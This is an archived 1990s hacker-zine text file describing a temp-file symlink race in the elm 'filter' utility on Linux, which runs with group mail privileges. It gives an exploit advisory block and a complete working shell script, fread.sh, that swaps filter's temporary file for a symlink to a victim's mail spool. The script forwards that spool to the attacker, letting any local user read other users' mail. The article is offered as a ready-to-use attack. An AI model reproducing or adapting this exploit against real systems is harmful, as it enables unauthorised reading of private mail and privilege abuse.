home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / linux_fi.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  3.0 KB  |  61 lines

  1.  
  2.  
  3.                     Linux 'filter' Security Holes
  4.                              by FEH Staff
  5.  
  6.    The elm filter under linux runs sugrp mail, thus allowing it to freely
  7. read and write from users mail spools.  It is only through the integrity
  8. of its code that the security of linux's mail system is protected; and in
  9. this respect it falls short.  In FEH #2, we printed mail-clobber, code
  10. that exploited filter in order to destroy a user's mail spool.  But, the
  11. capabilities to exploit filter extend beyond destruction of a mail spool,
  12. you can also use it to read a mail spool.
  13.    The specific problem that is exploited in this hole is the way filter
  14. uses a temporary file to store the input to it, and then subsequently send
  15. it back out according to the filter.  Because of the modularity of the
  16. coding, in the main filter.c, the temporary file is opened, and then written
  17. to; after which it is closed.  The mailmessage function is then called, with
  18. the purpose of forwarding that mail, written to the temporary file, to
  19. whatever destination is specified in the filter.  At the start of this
  20. process, the temporary file is opened, and the contents of it are dumped
  21. to the mail spool of the user the mail is being forwarded to.
  22.    At any point after the file has been initially opened by the main filter
  23. function, since the user running filter has permissions on that temp file,
  24. it can be rm'd.  The temp file existing can then be replaced with a symbolic
  25. link to any file that group mail has read permissions on.  When it is opened
  26. in the mailmessage function, the symbolic link is followed and whatever file
  27. that was pointed to will be read in, and the contents forwarded to the user
  28. specified in the mail spool.
  29.    The complete exploit is shown below:
  30.  
  31.                    Program: filter, an elm utility
  32. Affected Operating Systems: linux
  33.               Requirements: account on machine
  34.        Security Compromise: user can read any mail spool readable by grp mail.
  35.                             (usually everything, sometimes not root)
  36.                   Synopsis: filter writes out the mail to be forwarded to a
  37.                             temporary file, which is then closed and reopened;
  38.                             if when the temporary file is reopened it is a
  39.                             symlink to a mail spool, filter will proceed
  40.                             to forward the contents of that file as if it was
  41.                             the original message.
  42.  
  43. fread.sh:
  44. #!/bin/sh
  45. echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
  46. echo From: ReDragon > /tmp/fread-msg.tmp
  47. echo To: $LOGNAME >> /tmp/fread-msg.tmp
  48. echo Subject: Filter Exploit >> /tmp/fread-msg.tmp
  49. echo sleep 2 > /tmp/fread-sh.tmp
  50. echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
  51. chmod +x /tmp/fread-sh.tmp
  52. /tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
  53. FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
  54. rm -f /tmp/filter.$FREAD
  55. ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
  56. sleep 2
  57. rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp /tmp/fread-ftr.tm
  58. p /tmp/filter.$FREAD
  59. FREAD=
  60.  
  61.